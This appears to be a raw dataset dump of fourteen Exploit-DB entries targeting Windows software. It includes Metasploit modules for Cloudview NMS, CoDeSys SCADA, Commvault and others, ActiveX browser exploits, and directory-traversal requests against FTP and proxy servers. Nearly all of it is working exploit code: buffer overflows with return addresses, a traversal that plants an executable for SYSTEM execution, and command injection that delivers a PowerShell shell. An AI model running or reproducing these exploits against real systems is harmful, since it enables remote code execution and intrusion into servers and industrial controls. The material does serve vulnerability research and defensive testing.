deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42725
Description: Cloudview NMS 2.00b - Writable Directory Traversal Execution (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-14
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::TFTP
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Cloudview NMS 2.00b Writable Directory Traversal Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Cloudview NMS server.  The
        software contains a directory traversal vulnerability that allows a remote
        attacker to write arbitrary file to the file system, which results in
        code execution under the context 'SYSTEM'.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'james fitts' ],
      'References'     =>
        [
          ['URL', '0day']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ ' Cloudview NMS 2.00b on Windows', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 13 2014",
      'DefaultTarget'  => 0))

    register_options([
      OptInt.new('DEPTH', [ false, "Levels to reach base directory", 5 ]),
      OptAddress.new('RHOST', [ true, "The remote TFTP server address" ]),
      OptPort.new('RPORT', [ true, "The remote TFTP server port", 69 ])
    ], self.class)
  end

	def upload(filename, data)
		tftp_client = Rex::Proto::TFTP::Client.new(
			"LocalHost"  => "0.0.0.0",
			"LocalPort"  => 1025 + rand(0xffff-1025),
			"PeerHost"   => datastore['RHOST'],
			"PeerPort"   => datastore['RPORT'],
			"LocalFile"  => "DATA:#{data}",
			"RemoteFile" => filename,
			"Mode"       => "octet",
			"Context"    => {'Msf' => self.framework, "MsfExploit" => self },
			"Action"     => :upload
		)

		ret = tftp_client.send_write_request { |msg| print_status(msg) }
		while not tftp_client.complete
			select(nil, nil, nil, 1)
			tftp_client.stop
		end
	end

	def exploit
		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"

		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
		exe      = generate_payload_exe
		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
		mof      = generate_mof(mof_name, exe_name)

		depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
		levels = "../" * depth

		print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
		upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)

		select(nil, nil, nil, 1)

		print_status("#{peer} - Uploading .mof...")
		upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
	end
end
Exploit-DB #18283
Description: CoCSoft Stream Down 6.8.0 - Universal (Metasploit)
Type: remote
Platform: windows
Date: 2011-12-27
Author: Fady Mohammed Osman

Exploit:
##
# $Id: stream_down_BOF.rb 1 2011-12-18 $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking
	include Msf::Exploit::Remote::HttpServer
	
	def initialize
			super(
					'Name'           => 'StreamDown Buffer over flow universal exploit',
					'Version'        => '$Revision: 1 $',
					'Description'    => 'Stream Down Buffer Overflow universal exploit tested against win xp sp3 and win7 sp1. Also note that the program will not crash in case of meterpreter reverse tcp payload but a session will be opened',
					'Author'         => 'Fady Mohamed Osman',
					'References'	 => 
						[
								['URL', 'http://www.dark-masters.tk/']
						],
					'Privileged'     => false,
					'DefaultOptions' =>
						{
							'EXITFUNC' => 'seh',
							'InitialAutoRunScript' => 'migrate -f'
						},
					'Payload'        =>
						{
							'BadChars' => "\x00\xff\x0a"
						},
					'Platform'       => 'win',
					'Targets'        =>
						[
							[ 'Automatic',  { } ],
						],
					'DefaultTarget' => 0,
					'License'        => MSF_LICENSE
                )
	end
	def on_request_uri(cli,request)
		seh = 0x10019448
		nseh = "\xeb\x06\x90\x90"
		sploit = "A"*16388 + nseh + [seh].pack('V') + "\x90"*10 + payload.encoded 
		cli.put(sploit)
		close_client(cli)
	end
end
Exploit-DB #18240
Description: CoDeSys SCADA 2.3 - WebServer Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-12-13
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow',
			'Description'     => %q{
				This module exploits a remote stack buffer overflow vulnerability in
				3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					'Celil UNUVER', # Original discovery and exploit
					'TecR0c',       # Module Metasploit
					'sinn3r'
				],
			'References'      =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'false',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'        => 'win',
			'Payload'         =>
				{
					'size'     => 4000,
					'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e",
				},

			'Targets'         =>
				[
					[
						'Windows XP SP3',
						{
							'Ret'    => 0x7E4456F7,
							'Offset' => 775
						}
					], # jmp esp user32
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 02 2011',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(8080)], self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.1\r\n\r\n")
		res = sock.get(-1, 3)
		disconnect

		# Can't flag the web server as vulnerable, because it doesn't
		# give us a version
		vprint_line(res)
		if res =~ /3S_WebServer/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		connect

		buffer =  rand_text(target['Offset'])
		buffer << [target.ret].pack('V')
		buffer << make_nops(8)
		buffer << payload.encoded

		sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"

		print_status("Trying target #{target.name}...")
		sock.put(sploit)
		res = sock.recv(1024)
		print_line(res)

		handler
		disconnect
	end
end

=begin
target.ret verified on:
- Win XP SP3 unpatched
- Win XP SP3 fully-patched
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
=end
Exploit-DB #16566
Description: CommuniCrypt Mail 1.16 - SMTP ActiveX Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-26
Author: Metasploit

Exploit:
##
# $Id: communicrypt_mail_activex.rb 9933 2010-07-26 19:30:02Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
				ActiveX Control provided by CommuniCrypt Mail 1.16.  By sending a overly
				long string to the "AddAttachments()" method, an attacker may be able to
				execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Lincoln',  # Original exploit author
					'dookie'    # MSF module author
				],
			'Version'        => '$Revision: 9933 $',
			'References'     =>
				[
					[ 'OSVDB', '64839' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/12663' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'           => 1000,
					'BadChars'        => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll
				],
			'DisclosureDate' => 'May 19 2010',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname   = rand_text_alpha(rand(100) + 1)
		strname = rand_text_alpha(rand(100) + 1)

		filler  = rand_text_alpha(target['Offset'])
		seh     = generate_seh_payload(target.ret)
		trailer = rand_text_alpha(1000 - p.encoded.length)
		sploit  = filler + seh + p.encoded + trailer

		# Build out the message
		content = %Q|<html>
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.AddAttachments(#{strname});
</script>
</html>
|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #43472
Description: Commvault Communications Service (cvd) - Command Injection (Metasploit)
Type: remote
Platform: windows
Date: 2018-01-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Commvault Communications Service (cvd) Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability
        discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
        and v10). The vulnerability exists in the cvd.exe service and allows an
        attacker to execute arbitrary commands in the context of the service. By
        default, the Commvault Communications service installs and runs as SYSTEM in
        Windows and does not require authentication. This vulnerability was discovered
        in the Windows version. The Linux version wasn't tested.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
        ],
      'References'     =>
        [
          ['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
            {
              'Arch' => [ARCH_X64, ARCH_X86]
            }
          ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 12 2017'))

      register_options([Opt::RPORT(8400)])

    end

  def exploit

    buf = build_exploit
    print_status("Connecting to Commvault Communications Service.")
    connect
    print_status("Executing payload")
    #Send the payload
    sock.put(buf)
    #Handle the shell
    handler
    disconnect

  end


  def build_exploit

    #Get encoded powershell of payload
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
    #Remove additional cmd.exe call
    psh = "powershell"
    idx = command.index(psh)
    command = command[(idx)..-1]

    #Build packet
    cmd_path = 'C:\Windows\System32\cmd.exe'
    msg_type = 9
    zero = 0
    payload = ""
    payload += make_nops(8)
    payload += [msg_type].pack('I>')
    payload += make_nops(328)
    payload += cmd_path
    payload += ";"
    payload += ' /c "'
    payload += command
    payload += '" && echo '
    payload += "\x00"
    payload += [zero].pack('I>')

    #Add length header and payload
    ret_data = [payload.length].pack('I>')
    ret_data += payload

    ret_data

  end
end
Exploit-DB #4974
Description: Comodo AntiVirus 2.0 - 'ExecuteStr()' Remote Command Execution
Type: remote
Platform: windows
Date: 2008-01-23
Author: h07

Exploit:
<!--
Comodo AntiVirus 2.0 ExecuteStr() 0day Remote Command Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on:..
- Comodo AntiVirus Beta 2.0
- Microsoft Internet Explorer 6
Just for fun  ;)  
-->

<html>
<object id="obj" classid="clsid:309F674D-E4D3-46BD-B9E2-ED7DFD7FD176"></object>

<script>
obj.ExecuteStr('cmd.exe', '/C echo "hello world" && pause');
</script>

</html>

# milw0rm.com [2008-01-23]
Exploit-DB #19442
Description: Compaq Java Applet for Presario SpawnApp - Code Execution
Type: remote
Platform: windows
Date: 1998-11-28
Author: Frank Farance

Exploit:
source: https://www.securityfocus.com/bid/557/info

Some Compaq computers come with a Java applet called SpawnApp. This applet is used to run Compaq diagnostic utilities from the local hard drive when certain Compaq websites are viewed. The problem is that the applet can run any program, and can be used by any webpage. This applet is signed as secure by Compaq. 

<html>

<head>
<title>Test for Compaq SpawnApp vulnerability</title>
</head>

<body>

<applet code=SQRCDAPP name=sqrcd width=0 height=0>    
<param name="cabbase" value="SQRCDAPP.cab">
</applet>

<SCRIPT language=javascript>
function Btn_OnClick(cmndkey)
{    document.sqrcd.SQRCDProcess("c:\\windows\\command\\command.com /C echo Vulnerable! >c:\\spawnapp.txt");
}
</SCRIPT>

<p align="center"> 
Test for Compaq SpawnApp vulnerability 
</p>

<p align="center"> 
-> 
<a href="#TopofDocument" onClick="Btn_OnClick('full')" > Test For Vulnerability 
</a> 
<-
</p>

<p align="center"> 
If your system is vulnerable, clicking the link above will open a command window, which will create the file c:\spawnapp.txt with content "Vulnerable!".
</p>

<p align="center">
Note: This will only work if your Windows folder is c:\windows. Otherwise you will have to edit this 
HTML file.
</p>
</body>
</html>
Exploit-DB #22827
Description: Compaq Web-Based Management Agent - Remote File Verification
Type: remote
Platform: windows
Date: 2003-06-23
Author: Ian Vitek

Exploit:
source: https://www.securityfocus.com/bid/8019/info

Compaq Web-Based Management Agent has been reported vulnerable to a remote file verification vulnerability. This information leak could be exploited by an attacker to verify the existence of sensitive files on a vulnerable system.

http://www.example.com:2301/<!.DebugSearchPaths>?Url=%2F..%2F..%2F..%2F..%2Fboot.ini
Exploit-DB #11973
Description: CompleteFTP Server - Directory Traversal
Type: remote
Platform: windows
Date: 2010-03-30
Author: zombiefx

Exploit:
# Exploit Title: CompleteFTP Server Directory Traversal
# Date: 2010-03-30
# Author: zombiefx darkernet@gmail.com<mailto:darkernet@gmail.com>
# Software Link: http://www.enterprisedt.com/products/completeftp/download/CompleteFTPSetup.exe
# Version: CompleteFTP Server v 3.3.0
# Tested on: Windows XP SP3
# CVE :
# Code :
230 User test logged in.
ftp> pwd
257 "/Home/test" is current directory.
ftp> cd ..\..\..\..\..\..\..\..\
250 Directory changed to "/Home/test/..\..\..\..\..\..\..\..\".
ftp> get boot.ini
200 PORT command successful.
150 Opening ASCII mode data connection for boot.ini
226 Transfer complete.
ftp: 215 bytes received in 0.14Seconds 1.54Kbytes/sec.
Exploit-DB #30772
Description: ComponentOne FlexGrid 7.1 - ActiveX Control Multiple Buffer Overflow Vulnerabilities
Type: remote
Platform: windows
Date: 2007-11-15
Author: Elazar Broad

Exploit:
source: https://www.securityfocus.com/bid/26467/info

ComponentOne FlexGrid ActiveX Control is prone to multiple stack-based buffer-overflow vulnerabilities because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit these issues to cause denial denial-of-service conditions and possibly to execute arbitrary code, but this has not been confirmed.

ComponentOne FlexGrid 7.1 Light is vulnerable; other versions may also be affected. 

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";

     while (s.length < 262145) s=s+s;

     var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");

     obj.Text = s;
     obj.EditSelText = s;
     obj.EditText = s;
     obj.CellFontName = s;
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();" />
</html>
Exploit-DB #25187
Description: Computalynx CProxy 3.3/3.4.x - Directory Traversal
Type: remote
Platform: windows
Date: 2005-03-03
Author: Kristof Philipsen

Exploit:
source: https://www.securityfocus.com/bid/12722/info

CProxy is reported prone to a remote directory traversal vulnerability. This issue arises due to insufficient sanitization of user-supplied data. A remote user may exploit this issue to disclose arbitrary files and carry out a denial of service condition.

It is reported that an attacker can simply issue an HTTP GET request including directory traversal sequences to carry out this attack. 

GET http://../../[file] HTTP/1.0
Exploit-DB #19976
Description: Concatus IMate Web Mail Server 2.5 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2000-06-01
Author: Delphis Consulting

Exploit:
source: https://www.securityfocus.com/bid/1286/info

Sending an email to a Concatus IMate Web Mail Server 2.5 with a server name consisting of over 1119 characters will cause the application to crash. Restarting the program is required in order to regain normal functionality.

Telnet target 25
HELO <String of 1119 characters or more>
Exploit-DB #29032
Description: Conxint FTP 2.2.603 - Multiple Directory Traversal Vulnerabilities
Type: remote
Platform: windows
Date: 2006-11-15
Author: Greg Linares

Exploit:
source: https://www.securityfocus.com/bid/21081/info

Conxint is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow a remote attacker to access any file on the affected webserver. 

Version 2.2.0603 is vulnerable to this issue; other versions may also be affected.

dir \..\..\..\windows\
Exploit-DB #48195
Description: CoreFTP 2.0 Build 674 MDTM - Directory Traversal (Metasploit)
Type: remote
Platform: windows
Date: 2020-03-11
Author: Kevin Randall

Exploit:
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below MDTM Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote attacker can use a directory traversal (..\..\) to browse outside the root directory to determine the existence of a file on the operating system, and the last mofidied date.},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9649' ],
           [ 'BID', '107449' ],
           [ 'URL', 'https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the MDTM command to enumerate files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" + datastore['FILENAME']
     res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the last modified date for the file:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist. Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end